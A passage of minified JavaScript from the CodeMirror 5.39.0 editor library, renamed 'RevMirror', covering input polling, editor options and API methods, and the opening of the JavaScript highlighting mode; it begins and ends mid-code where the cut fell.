e=this;null==this.readDOMTimeout&&(this.readDOMTimeout=setTimeout(function(){if(e.readDOMTimeout=null,e.composing){if(!e.composing.done)return;e.composing=null}e.updateFromDOM()},80))},Pl.prototype.updateFromDOM=function(){var e=this;!this.cm.isReadOnly()&&this.pollContent()||Xn(this.cm,function(){return qn(e.cm)})},Pl.prototype.setUneditable=function(e){e.contentEditable="false"},Pl.prototype.onKeyPress=function(e){0==e.charCode||this.composing||(e.preventDefault(),this.cm.isReadOnly()||Yn(this.cm,Ml)(this.cm,String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),0))},Pl.prototype.readOnlyChanged=function(e){this.div.contentEditable=String("nocursor"!=e)},Pl.prototype.onContextMenu=function(){},Pl.prototype.resetPosition=function(){},Pl.prototype.needsContentAttribute=!0;var Bl,Gl,Ul,Vl=function(e){this.cm=e,this.prevInput="",this.pollingFast=!1,this.polling=new R,this.hasSelection=!1,this.composing=null};Vl.prototype.init=function(t){var e=this,r=this,n=this.cm;this.createField(t);var i=this.textarea;function o(e){if(!ot(n,e)){if(n.somethingSelected())Tl({lineWise:!1,text:n.getSelections()});else{if(!n.options.lineWiseCopyCut)return;var t=Al(n);Tl({lineWise:!0,text:t.text}),"cut"==e.type?n.setSelections(t.ranges,null,V):(r.prevInput="",i.value=t.text.join("\n"),P(i))}"cut"==e.type&&(n.state.cutIncoming=!0)}}t.wrapper.insertBefore(this.wrapper,t.wrapper.firstChild),c&&(i.style.width="0px"),tt(i,"input",function(){x&&9<=C&&e.hasSelection&&(e.hasSelection=null),r.poll()}),tt(i,"paste",function(e){ot(n,e)||Nl(e,n)||(n.state.pasteIncoming=!0,r.fastPoll())}),tt(i,"cut",o),tt(i,"copy",o),tt(t.scroller,"paste",function(e){wr(t,e)||ot(n,e)||(n.state.pasteIncoming=!0,r.focus())}),tt(t.lineSpace,"selectstart",function(e){wr(t,e)||ut(e)}),tt(i,"compositionstart",function(){var e=n.getCursor("from");r.composing&&r.composing.range.clear(),r.composing={start:e,range:n.markText(e,n.getCursor("to"),{className:"RevMirror-composing"})}}),tt(i,"compositionend",function(){r.composing&&(r.poll(),r.composing.range.clear(),r.composing=null)})},Vl.prototype.createField=function(e){this.wrapper=Wl(),this.textarea=this.wrapper.firstChild},Vl.prototype.prepareSelection=function(){var e=this.cm,t=e.display,r=e.doc,n=un(e);if(e.options.moveInputWithCursor){var i=jr(e,r.sel.primary().head,"div"),o=t.wrapper.getBoundingClientRect(),l=t.lineDiv.getBoundingClientRect();n.teTop=Math.max(0,Math.min(t.wrapper.clientHeight-10,i.top+l.top-o.top)),n.teLeft=Math.max(0,Math.min(t.wrapper.clientWidth-10,i.left+l.left-o.left))}return n},Vl.prototype.showSelection=function(e){var t=this.cm.display;N(t.cursorDiv,e.cursors),N(t.selectionDiv,e.selection),null!=e.teTop&&(this.wrapper.style.top=e.teTop+"px",this.wrapper.style.left=e.teLeft+"px")},Vl.prototype.reset=function(e){if(!this.contextMenuPending&&!this.composing){var t=this.cm;if(t.somethingSelected()){this.prevInput="";var r=t.getSelection();this.textarea.value=r,t.state.focused&&P(this.textarea),x&&9<=C&&(this.hasSelection=r)}else e||(this.prevInput=this.textarea.value="",x&&9<=C&&(this.hasSelection=null))}},Vl.prototype.getField=function(){return this.textarea},Vl.prototype.supportsTouch=function(){return!1},Vl.prototype.focus=function(){if("nocursor"!=this.cm.options.readOnly&&(!f||W()!=this.textarea))try{this.textarea.focus()}catch(e){}},Vl.prototype.blur=function(){this.textarea.blur()},Vl.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0},Vl.prototype.receivedFocus=function(){this.slowPoll()},Vl.prototype.slowPoll=function(){var e=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,function(){e.poll(),e.cm.state.focused&&e.slowPoll()})},Vl.prototype.fastPoll=function(){var t=!1,r=this;r.pollingFast=!0,r.polling.set(20,function e(){r.poll()||t?(r.pollingFast=!1,r.slowPoll()):(t=!0,r.polling.set(60,e))})},Vl.prototype.poll=function(){var e=this,t=this.cm,r=this.textarea,n=this.prevInput;if(this.contextMenuPending||!t.state.focused||Ct(r)&&!n&&!this.composing||t.isReadOnly()||t.options.disableInput||t.state.keySeq)return!1;var i=r.value;if(i==n&&!t.somethingSelected())return!1;if(x&&9<=C&&this.hasSelection===i||w&&/[\uf700-\uf7ff]/.test(i))return t.display.input.reset(),!1;if(t.doc.sel==t.display.selForContextMenu){var o=i.charCodeAt(0);if(8203!=o||n||(n="​"),8666==o)return this.reset(),this.cm.execCommand("undo")}for(var l=0,s=Math.min(n.length,i.length);l<s&&n.charCodeAt(l)==i.charCodeAt(l);)++l;return Xn(t,function(){Ml(t,i.slice(l),n.length-l,null,e.composing?"*compose":null),1e3<i.length||-1<i.indexOf("\n")?r.value=e.prevInput="":e.prevInput=i,e.composing&&(e.composing.range.clear(),e.composing.range=t.markText(e.composing.start,t.getCursor("to"),{className:"RevMirror-composing"}))}),!0},Vl.prototype.ensurePolled=function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},Vl.prototype.onKeyPress=function(){x&&9<=C&&(this.hasSelection=null),this.fastPoll()},Vl.prototype.onContextMenu=function(e){var r=this,n=r.cm,i=n.display,o=r.textarea,t=ln(n,e),l=i.scroller.scrollTop;if(t&&!v){n.options.resetSelectionOnContextMenu&&-1==n.doc.sel.contains(t)&&Yn(n,Yi)(n.doc,bi(t),V);var s=o.style.cssText,a=r.wrapper.style.cssText;r.wrapper.style.cssText="position: absolute";var u,c=r.wrapper.getBoundingClientRect();if(o.style.cssText="position: absolute; width: 30px; height: 30px;\n      top: "+(e.clientY-c.top-5)+"px; left: "+(e.clientX-c.left-5)+"px;\n      z-index: 1000; background: "+(x?"rgba(255, 255, 255, .05)":"transparent")+";\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",b&&(u=window.scrollY),i.input.focus(),b&&window.scrollTo(null,u),i.input.reset(),n.somethingSelected()||(o.value=r.prevInput=" "),r.contextMenuPending=!0,i.selForContextMenu=n.doc.sel,clearTimeout(i.detectingSelectAll),x&&9<=C&&f(),S){ft(e);var h=function(){nt(window,"mouseup",h),setTimeout(d,20)};tt(window,"mouseup",h)}else setTimeout(d,50)}function f(){if(null!=o.selectionStart){var e=n.somethingSelected(),t="​"+(e?o.value:"");o.value="⇚",o.value=t,r.prevInput=e?"":"​",o.selectionStart=1,o.selectionEnd=t.length,i.selForContextMenu=n.doc.sel}}function d(){if(r.contextMenuPending=!1,r.wrapper.style.cssText=a,o.style.cssText=s,x&&C<9&&i.scrollbars.setScrollTop(i.scroller.scrollTop=l),null!=o.selectionStart){(!x||x&&C<9)&&f();var e=0,t=function(){i.selForContextMenu==n.doc.sel&&0==o.selectionStart&&0<o.selectionEnd&&"​"==r.prevInput?Yn(n,to)(n):e++<10?i.detectingSelectAll=setTimeout(t,500):(i.selForContextMenu=null,i.input.reset())};i.detectingSelectAll=setTimeout(t,200)}}},Vl.prototype.readOnlyChanged=function(e){e||this.reset(),this.textarea.disabled="nocursor"==e},Vl.prototype.setUneditable=function(){},Vl.prototype.needsContentAttribute=!1,function(i){var o=i.optionHandlers;function e(e,t,n,r){i.defaults[e]=t,n&&(o[e]=r?function(e,t,r){r!=vl&&n(e,t,r)}:n)}i.defineOption=e,i.Init=vl,e("value","",function(e,t){return e.setValue(t)},!0),e("mode",null,function(e,t){e.doc.modeOption=t,Li(e)},!0),e("indentUnit",2,Li,!0),e("indentWithTabs",!1),e("smartIndent",!0),e("tabSize",4,function(e){ki(e),zr(e),qn(e)},!0),e("lineSeparator",null,function(e,n){if(e.doc.lineSep=n){var i=[],o=e.doc.first;e.doc.iter(function(e){for(var t=0;;){var r=e.text.indexOf(n,t);if(-1==r)break;t=r+n.length,i.push(ve(o,r))}o++});for(var t=i.length-1;0<=t;t--)ao(e.doc,n,i[t],ve(i[t].line,i[t].ch+n.length))}}),e("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200f\u2028\u2029\ufeff]/g,function(e,t,r){e.state.specialChars=new RegExp(t.source+(t.test("\t")?"":"|\t"),"g"),r!=vl&&e.refresh()}),e("specialCharPlaceholder",Qt,function(e){return e.refresh()},!0),e("electricChars",!0),e("inputStyle",f?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor")},!0),e("spellcheck",!1,function(e,t){return e.getInputField().spellcheck=t},!0),e("rtlMoveVisually",!p),e("wholeLineUpdateBefore",!0),e("theme","default",function(e){gl(e),bl(e)},!0),e("keyMap","default",function(e,t,r){var n=Ko(t),i=r!=vl&&Ko(r);i&&i.detach&&i.detach(e,n),n.attach&&n.attach(e,i||null)}),e("extraKeys",null),e("configureMouse",null),e("lineWrapping",!1,xl,!0),e("gutters",[],function(e){ci(e.options),bl(e)},!0),e("fixedGutter",!0,function(e,t){e.display.gutters.style.left=t?rn(e.display)+"px":"0",e.refresh()},!0),e("coverGutterNextToScrollbar",!1,function(e){return Pn(e)},!0),e("scrollbarStyle","native",function(e){zn(e),Pn(e),e.display.scrollbars.setScrollTop(e.doc.scrollTop),e.display.scrollbars.setScrollLeft(e.doc.scrollLeft)},!0),e("lineNumbers",!1,function(e){ci(e.options),bl(e)},!0),e("firstLineNumber",1,bl,!0),e("lineNumberFormatter",function(e){return e},bl,!0),e("showCursorWhenSelecting",!1,an,!0),e("resetSelectionOnContextMenu",!0),e("lineWiseCopyCut",!0),e("pasteLinesPerSelection",!0),e("readOnly",!1,function(e,t){"nocursor"==t&&(mn(e),e.display.input.blur()),e.display.input.readOnlyChanged(t)}),e("disableInput",!1,function(e,t){t||e.display.input.reset()},!0),e("dragDrop",!0,wl),e("allowDropFileTypes",null),e("cursorBlinkRate",530),e("cursorScrollMargin",0),e("cursorHeight",1,an,!0),e("singleCursorHeightPerLine",!0,an,!0),e("workTime",100),e("workDelay",100),e("flattenSpans",!0,ki,!0),e("addModeClass",!1,ki,!0),e("pollInterval",100),e("undoDepth",200,function(e,t){return e.doc.history.undoDepth=t}),e("historyEventDelay",1250),e("viewportMargin",10,function(e){return e.refresh()},!0),e("maxHighlightLength",1e4,ki,!0),e("moveInputWithCursor",!0,function(e,t){t||e.display.input.resetPosition()}),e("tabindex",null,function(e,t){return e.display.input.getField().tabIndex=t||""}),e("autofocus",null),e("direction","ltr",function(e,t){return e.doc.setDirection(t)},!0)}(Cl),Gl=(Bl=Cl).optionHandlers,Ul=Bl.helpers={},Bl.prototype={constructor:Bl,focus:function(){window.focus(),this.display.input.focus()},setOption:function(e,t){var r=this.options,n=r[e];r[e]==t&&"mode"!=e||(r[e]=t,Gl.hasOwnProperty(e)&&Yn(this,Gl[e])(this,t,n),it(this,"optionChange",this,e))},getOption:function(e){return this.options[e]},getDoc:function(){return this.doc},addKeyMap:function(e,t){this.state.keyMaps[t?"push":"unshift"](Ko(e))},removeKeyMap:function(e){for(var t=this.state.keyMaps,r=0;r<t.length;++r)if(t[r]==e||t[r].name==e)return t.splice(r,1),!0},addOverlay:_n(function(e,t){var r=e.token?e:Bl.getMode(this.options,e);if(r.startState)throw new Error("Overlays may not be stateful.");!function(e,t,r){for(var n=0,i=r(t);n<e.length&&r(e[n])<=i;)n++;e.splice(n,0,t)}(this.state.overlays,{mode:r,modeSpec:e,opaque:t&&t.opaque,priority:t&&t.priority||0},function(e){return e.priority}),this.state.modeGen++,qn(this)}),removeOverlay:_n(function(e){for(var t=this.state.overlays,r=0;r<t.length;++r){var n=t[r].modeSpec;if(n==e||"string"==typeof e&&n.name==e)return t.splice(r,1),this.state.modeGen++,void qn(this)}}),indentLine:_n(function(e,t,r){"string"!=typeof t&&"number"!=typeof t&&(t=null==t?this.options.smartIndent?"smart":"prev":t?"add":"subtract"),pe(this.doc,e)&&Ll(this,e,t,r)}),indentSelection:_n(function(e){for(var t=this,r=this.doc.sel.ranges,n=-1,i=0;i<r.length;i++){var o=r[i];if(o.empty())o.head.line>n&&(Ll(t,o.head.line,e,!0),n=o.head.line,i==t.doc.sel.primIndex&&kn(t));else{var l=o.from(),s=o.to(),a=Math.max(n,l.line);n=Math.min(t.lastLine(),s.line-(s.ch?0:1))+1;for(var u=a;u<n;++u)Ll(t,u,e);var c=t.doc.sel.ranges;0==l.ch&&r.length==c.length&&0<c[i].from().ch&&Ki(t.doc,i,new mi(l,c[i].to()),V)}}}),getTokenAt:function(e,t){return Kt(this,e,t)},getLineTokens:function(e,t){return Kt(this,ve(e),t,!0)},getTokenTypeAt:function(e){e=Se(this.doc,e);var t,r=zt(this,ae(this.doc,e.line)),n=0,i=(r.length-1)/2,o=e.ch;if(0==o)t=r[2];else for(;;){var l=n+i>>1;if((l?r[2*l-1]:0)>=o)i=l;else{if(!(r[2*l+1]<o)){t=r[2*l+2];break}n=l+1}}var s=t?t.indexOf("overlay "):-1;return s<0?t:0==s?null:t.slice(0,s-1)},getModeAt:function(e){var t=this.doc.mode;return t.innerMode?Bl.innerMode(t,this.getTokenAt(e).state).mode:t},getHelper:function(e,t){return this.getHelpers(e,t)[0]},getHelpers:function(e,t){var r=[];if(!Ul.hasOwnProperty(t))return r;var n=Ul[t],i=this.getModeAt(e);if("string"==typeof i[t])n[i[t]]&&r.push(n[i[t]]);else if(i[t])for(var o=0;o<i[t].length;o++){var l=n[i[t][o]];l&&r.push(l)}else i.helperType&&n[i.helperType]?r.push(n[i.helperType]):n[i.name]&&r.push(n[i.name]);for(var s=0;s<n._global.length;s++){var a=n._global[s];a.pred(i,this)&&-1==B(r,a.val)&&r.push(a.val)}return r},getStateAfter:function(e,t){var r=this.doc;return Rt(this,(e=Ce(r,null==e?r.first+r.size-1:e))+1,t).state},cursorCoords:function(e,t){var r=this.doc.sel.primary();return jr(this,null==e?r.head:"object"==typeof e?Se(this.doc,e):e?r.from():r.to(),t||"page")},charCoords:function(e,t){return Kr(this,Se(this.doc,e),t||"page")},coordsChar:function(e,t){return _r(this,(e=Vr(this,e,t||"page")).left,e.top)},lineAtHeight:function(e,t){return e=Vr(this,{top:e,left:0},t||"page").top,de(this.doc,e+this.display.viewOffset)},heightAtLine:function(e,t,r){var n,i=!1;if("number"==typeof e){var o=this.doc.first+this.doc.size-1;e<this.doc.first?e=this.doc.first:o<e&&(e=o,i=!0),n=ae(this.doc,e)}else n=e;return Ur(this,n,{top:0,left:0},t||"page",r||i).top+(i?this.doc.height-Ye(n):0)},defaultTextHeight:function(){return Jr(this.display)},defaultCharWidth:function(){return en(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(e,t,r,n,i){var o,l,s,a=this.display,u=(e=jr(this,Se(this.doc,e))).bottom,c=e.left;if(t.style.position="absolute",t.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(t),a.sizer.appendChild(t),"over"==n)u=e.top;else if("above"==n||"near"==n){var h=Math.max(a.wrapper.clientHeight,this.doc.height),f=Math.max(a.sizer.clientWidth,a.lineSpace.clientWidth);("above"==n||e.bottom+t.offsetHeight>h)&&e.top>t.offsetHeight?u=e.top-t.offsetHeight:e.bottom+t.offsetHeight<=h&&(u=e.bottom),c+t.offsetWidth>f&&(c=f-t.offsetWidth)}t.style.top=u+"px",t.style.left=t.style.right="","right"==i?(c=a.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==i?c=0:"middle"==i&&(c=(a.sizer.clientWidth-t.offsetWidth)/2),t.style.left=c+"px"),r&&(o=this,l={left:c,top:u,right:c+t.offsetWidth,bottom:u+t.offsetHeight},null!=(s=Sn(o,l)).scrollTop&&On(o,s.scrollTop),null!=s.scrollLeft&&Dn(o,s.scrollLeft))},triggerOnKeyDown:_n(il),triggerOnKeyPress:_n(ll),triggerOnKeyUp:ol,triggerOnMouseDown:_n(cl),execCommand:function(e){if($o.hasOwnProperty(e))return $o[e].call(null,this)},triggerElectric:_n(function(e){Ol(this,e)}),findPosH:function(e,t,r,n){var i=1;t<0&&(i=-1,t=-t);for(var o=Se(this.doc,e),l=0;l<t&&!(o=Hl(this.doc,o,i,r,n)).hitSide;++l);return o},moveH:_n(function(t,r){var n=this;this.extendSelectionsBy(function(e){return n.display.shift||n.doc.extend||e.empty()?Hl(n.doc,e.head,t,r,n.options.rtlMoveVisually):t<0?e.from():e.to()},j)}),deleteH:_n(function(r,n){var e=this.doc.sel,i=this.doc;e.somethingSelected()?i.replaceSelection("",null,"+delete"):jo(this,function(e){var t=Hl(i,e.head,r,n,!1);return r<0?{from:t,to:e.head}:{from:e.head,to:t}})}),findPosV:function(e,t,r,n){var i=1,o=n;t<0&&(i=-1,t=-t);for(var l=Se(this.doc,e),s=0;s<t;++s){var a=jr(this,l,"div");if(null==o?o=a.left:a.left=o,(l=Fl(this,a,i,r)).hitSide)break}return l},moveV:_n(function(n,i){var o=this,l=this.doc,s=[],a=!this.display.shift&&!l.extend&&l.sel.somethingSelected();if(l.extendSelectionsBy(function(e){if(a)return n<0?e.from():e.to();var t=jr(o,e.head,"div");null!=e.goalColumn&&(t.left=e.goalColumn),s.push(t.left);var r=Fl(o,t,n,i);return"page"==i&&e==l.sel.primary()&&Ln(o,Kr(o,r,"div").top-t.top),r},j),s.length)for(var e=0;e<l.sel.ranges.length;e++)l.sel.ranges[e].goalColumn=s[e]}),findWordAt:function(e){var t=ae(this.doc,e.line).text,r=e.ch,n=e.ch;if(t){var i=this.getHelper(e,"wordChars");"before"!=e.sticky&&n!=t.length||!r?++n:--r;for(var o=t.charAt(r),l=te(o,i)?function(e){return te(e,i)}:/\s/.test(o)?function(e){return/\s/.test(e)}:function(e){return!/\s/.test(e)&&!te(e)};0<r&&l(t.charAt(r-1));)--r;for(;n<t.length&&l(t.charAt(n));)++n}return new mi(ve(e.line,r),ve(e.line,n))},toggleOverwrite:function(e){null!=e&&e==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?H(this.display.cursorDiv,"RevMirror-overwrite"):T(this.display.cursorDiv,"RevMirror-overwrite"),it(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==W()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:_n(function(e,t){Tn(this,e,t)}),getScrollInfo:function(){var e=this.display.scroller;return{left:e.scrollLeft,top:e.scrollTop,height:e.scrollHeight-Lr(this)-this.display.barHeight,width:e.scrollWidth-Lr(this)-this.display.barWidth,clientHeight:Tr(this),clientWidth:kr(this)}},scrollIntoView:_n(function(e,t){var r,n;null==e?(e={from:this.doc.sel.primary().head,to:null},null==t&&(t=this.options.cursorScrollMargin)):"number"==typeof e?e={from:ve(e,0),to:null}:null==e.from&&(e={from:e,to:null}),e.to||(e.to=e.from),e.margin=t||0,null!=e.from.line?(n=e,Mn(r=this),r.curOp.scrollToPos=n):Nn(this,e.from,e.to,e.margin)}),setSize:_n(function(e,t){var r=this,n=function(e){return"number"==typeof e||/^\d+$/.test(String(e))?e+"px":e};null!=e&&(this.display.wrapper.style.width=n(e)),null!=t&&(this.display.wrapper.style.height=n(t)),this.options.lineWrapping&&Ir(this);var i=this.display.viewFrom;this.doc.iter(i,this.display.viewTo,function(e){if(e.widgets)for(var t=0;t<e.widgets.length;t++)if(e.widgets[t].noHScroll){Zn(r,i,"widget");break}++i}),this.curOp.forceUpdate=!0,it(this,"refresh",this)}),operation:function(e){return Xn(this,e)},startOperation:function(){return Bn(this)},endOperation:function(){return Gn(this)},refresh:_n(function(){var e=this.display.cachedTextHeight;qn(this),this.curOp.forceUpdate=!0,zr(this),Tn(this,this.doc.scrollLeft,this.doc.scrollTop),si(this),(null==e||.5<Math.abs(e-Jr(this.display)))&&on(this),it(this,"refresh",this)}),swapDoc:_n(function(e){var t=this.doc;return t.cm=null,Oi(this,e),zr(this),this.display.input.reset(),Tn(this,e.scrollLeft,e.scrollTop),this.curOp.forceScroll=!0,sr(this,"swapDoc",this,t),t}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},at(Bl),Bl.registerHelper=function(e,t,r){Ul.hasOwnProperty(e)||(Ul[e]=Bl[e]={_global:[]}),Ul[e][t]=r},Bl.registerGlobalHelper=function(e,t,r,n){Bl.registerHelper(e,t,n),Ul[e]._global.push({pred:r,val:n})};var Kl,jl="iter insert remove copy getEditor constructor".split(" ");for(var Xl in ko.prototype)ko.prototype.hasOwnProperty(Xl)&&B(jl,Xl)<0&&(Cl.prototype[Xl]=function(e){return function(){return e.apply(this.doc,arguments)}}(ko.prototype[Xl]));return at(ko),Cl.inputStyles={textarea:Vl,contenteditable:Pl},Cl.defineMode=function(e){Cl.defaults.mode||"null"==e||(Cl.defaults.mode=e),function(e,t){2<arguments.length&&(t.dependencies=Array.prototype.slice.call(arguments,2)),kt[e]=t}.apply(this,arguments)},Cl.defineMIME=function(e,t){Tt[e]=t},Cl.defineMode("null",function(){return{token:function(e){return e.skipToEnd()}}}),Cl.defineMIME("text/plain","null"),Cl.defineExtension=function(e,t){Cl.prototype[e]=t},Cl.defineDocExtension=function(e,t){ko.prototype[e]=t},Cl.fromTextArea=function(t,e){if((e=e?I(e):{}).value=t.value,!e.tabindex&&t.tabIndex&&(e.tabindex=t.tabIndex),!e.placeholder&&t.placeholder&&(e.placeholder=t.placeholder),null==e.autofocus){var r=W();e.autofocus=r==t||null!=t.getAttribute("autofocus")&&r==document.body}function n(){t.value=s.getValue()}var i;if(t.form&&(tt(t.form,"submit",n),!e.leaveSubmitMethodAlone)){var o=t.form;i=o.submit;try{var l=o.submit=function(){n(),o.submit=i,o.submit(),o.submit=l}}catch(e){}}e.finishInit=function(e){e.save=n,e.getTextArea=function(){return t},e.toTextArea=function(){e.toTextArea=isNaN,n(),t.parentNode.removeChild(e.getWrapperElement()),t.style.display="",t.form&&(nt(t.form,"submit",n),"function"==typeof t.form.submit&&(t.form.submit=i))}},t.style.display="none";var s=Cl(function(e){return t.parentNode.insertBefore(e,t.nextSibling)},e);return s},(Kl=Cl).off=nt,Kl.on=tt,Kl.wheelEventPixels=pi,Kl.Doc=ko,Kl.splitLines=xt,Kl.countColumn=z,Kl.findColumn=X,Kl.isWordChar=ee,Kl.Pass=U,Kl.signal=it,Kl.Line=Yt,Kl.changeEnd=wi,Kl.scrollbarModel=In,Kl.Pos=ve,Kl.cmpPos=me,Kl.modes=kt,Kl.mimeModes=Tt,Kl.resolveMode=Mt,Kl.getMode=Nt,Kl.modeExtensions=Ot,Kl.extendMode=At,Kl.copyState=Dt,Kl.startState=Ht,Kl.innerMode=Wt,Kl.commands=$o,Kl.keyMap=Io,Kl.keyName=Vo,Kl.isModifierKey=Go,Kl.lookupKey=Bo,Kl.normalizeKeyMap=Ro,Kl.StringStream=Ft,Kl.SharedTextMarker=xo,Kl.TextMarker=bo,Kl.LineWidget=vo,Kl.e_preventDefault=ut,Kl.e_stopPropagation=ct,Kl.e_stop=ft,Kl.addClass=H,Kl.contains=D,Kl.rmClass=T,Kl.keyNames=Ho,Cl.version="5.39.0",Cl});
!function(e){"object"==typeof exports&&"object"==typeof module?e(require("../../lib/RevMirror")):"function"==typeof define&&define.amd?define(["../../lib/RevMirror"],e):e(RevMirror)}(function(Ke){"use strict";Ke.defineMode("javascript",function(e,l){var n,a,d=e.indentUnit,p=l.statementIndent,o=l.jsonld,c=l.json||o,u=l.typescript,f=l.wordCharacters||/[\w$\xa1-\uffff]/,s=function(){function e(e){return{type:e,style:"keyword"}}var t=e("keyword a"),r=e("keyword b"),n=e("keyword c"),a=e("keyword d"),i=e("operator"),o={type:"atom",style:"atom"};return{if:e("if"),while:t,with:t,else:r,do:r,try:r,finally:r,return:a,break:a,continue:a,new:e("new"),delete:n,void:n,throw:n,debugger:e("debugger"),var:e("var"),const:e("var"),let:e("var"),function:e("function"),catch:e("catch"),for:e("for"),switch:e("switch"),case:e("case"),default:e("default"),in:i,typeof:i,instanceof:i,true:o,false:o,null:o,undefined:o,NaN:o,Infinity:o,this:e("this"),class:e("class"),super:e("atom"),yield:n,export:e("export"),import:e("import"),extends:n,await:n}}(),m=/[+\-*&%=<>!?|~^@]/,v=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function k(e,t,r){return n=e,a=r,t}function y(e,t){var a,r=e.next();if('"'==r||"'"==r)return t.tokenize=(a=r,function(e,t){var r,n=!1;if(o&&"@"==e.peek()&&e.match(v))return t.tokenize=y,k("jsonld-keyword","meta");for(;null!=(r=e.next())&&(r!=a||n);)n=!n&&"\\"==r;return n||(t.tokenize=y),k("string","string")}),t.tokenize(e,t);if("."==r&&e.match(/^\d+(?:[eE][+\-]?\d+)?/))return k("number","number");if("."==r&&e.match(".."))return k("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(r))return k(r);if("="==r&&e.eat(">"))return k("=>","operator");if("0"==r&&e.match(/^(?:x[\da-f]+|o[0-7]+|b[01]+)n?/i))return k("number","number");if(/\d/.test(r))return e.match(/^\d*(?:n|(?:\.\d*)?(?:[eE][+\-]?\d+)?)?/),k("number","number");if("/"==r)return e.eat("*")?(t.tokenize=w)(e,t):e.eat("/")?(e.skipToEnd(),k("comment","comment")):Je(e,t,1)?(function(e){for(var t,r=!1,n=!1;null!=(t=e.next());){if(!r){if("/"==t&&!n)return;"["==t?n=!0:n&&"]"==t&&(n=!1)}r=!r&&"\\"==t}}(e),e.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/),k("regexp","string-2")):(e.eat("="),k("operator","operator",e.current()));if("`"==r)return(t.tokenize=b)(e,t);if("#"==r)return e.skipToEnd(),k("error","error");if(m.test(r))return">"==r&&t.lexical&&">"==t.lexical.type||(e.eat("=")?"!"!=r&&"="!=r||e.eat("="):/[<>*+\-]/.test(r)&&(e.eat(r),">"==r&&e.eat(r))),k("operator","operator",e.current());if(f.test(r)){e.eatWhile(f);var n=e.current();if("."!=t.lastType){if(s.propertyIsEnumerable(n)){var i=s[n];return k(i.type,i.style,n)}if("async"==n&&e.match(/^(\s|\/\*.*?\*\/)*[\[\(\w]/,!1))return k("async","keyword",n)}return k("variable","variable",n)}}function w(e,t){for(var r,n=!1;r=e.next();){if("/"==r&&n){t.tokenize=y;break}n="*"==r}return k("comment","comment")}function b(e,t){for(var r,n=!1;null!=(r=e.next());){if(!n&&("`"==r||"$"==r&&e.eat("{"))){t.tokenize=y;break}n=!n&&"\\"==r}return k("quasi","string-2",e.current())}var x="([{}])";function i(e,t){t.fatArrowAt&&(t.fatArrowAt=null);var r=e.string.indexOf("=>",e.start);if(!(r<0)){if(u){var n=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(e.string.slice(e.start,r));n&&(r=n.index)}for(var a=0,i=!1,o=r-1;0<=o;--o){var c=e.string.charAt(o),s=x.indexOf(c);if(0<=s&&s<3){if(!a){++o;break}if(0==--a){"("==c&&(i=!0);break}}else if(3<=s&&s<6)++a;else if(f.test(c))i=!0;else{if(/["'\/]/.test(c))return;if(i&&!a){++o;break}}}i&&!a&&(t.fatArrowAt=o)}}var h={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,this:!0,"jsonld-keyword":!0};function g(e,t,r,n,a,i){this.indented=e,this.column=t,this.type=r,this.prev=a,this.info=i,null!=n&&(this.align=n)}function j(e,t){for(var r=e.localVars;r;r=r.next)if(r.name==t)return!0;for(var n=e.context;n;n=n.prev)for(r=n.vars;r;r=r.next)if(r.name==t)return!0}var M={state:null,column:null,marked:null,cc:null};function V(){for(var e=arguments.length-1;0<=e;e--)M.cc.push(arguments[e])}function A(){return V.apply(null,arguments),!0}function E(e,t){for(var r=t;r;r=r.next)if(r.name==e)return!0;return!1}function r(e){var t=M.state;if(M.marked="def",t.context)if("var"==t.lexical.info&&t.context&&t.context.block){var r=function e(t,r){{if(r){if(r.block){var n=e(t,r.prev);return n?n==r.prev?r:new I(n,r.vars,!0):null}return E(t,r.vars)?r:new I(r.prev,new T(t,r.vars),!1)}return null}}(e,t.context);if(null!=r)return void(t.context=r)}else if(!E(e,t.localVars))return void(t.localVars=new T(e,t.localVars));l.globalVars&&!E(e,t.globalVars)&&(t.globalVars=new T(e,t.globalVars))}function z(e){return"public"==e||"private"==e||"protected"==e||"abstract"==e||"readonly"==e}function I(e,t,r){this.prev=e,this.vars=t,this.block=r}function T(e,t){this.name=e,this.next=t}var t=new T("this",new T("arguments",null));function $(){M.state.context=new I(M.state.context,M.state.localVars,!1),M.state.localVars=t}function C(){M.state.context=new I(M.state.context,M.state.localVars,!0),M.state.localVars=null}function q(){M.state.localVars=M.state.context.vars,M.state.context=M.state.context.prev}function O(n,a){var e=function(){var e=M.state,t=e.indented;if("stat"==e.lexical.type)t=e.lexical.indented;else for(var r=e.lexical;r&&")"==r.type&&r.align;r=r.prev)t=r.indented;e.lexical=new g(t,M.stream.column(),n,null,e.lexical,a)};return e.lex=!0,e}function P(){var e=M.state;e.lexical.prev&&(")"==e.lexical.type&&(e.indented=e.lexical.indented),e.lexical=e.lexical.prev)}function S(r){return function e(t){return t==r?A():";"==r||"}"==t||")"==t||"]"==t?V():A(e)}}function N(e,t){return"var"==e?A(O("vardef",t),ye,S(";"),P):"keyword a"==e?A(O("form"),W,N,P):"keyword b"==e?A(O("form"),N,P):"keyword 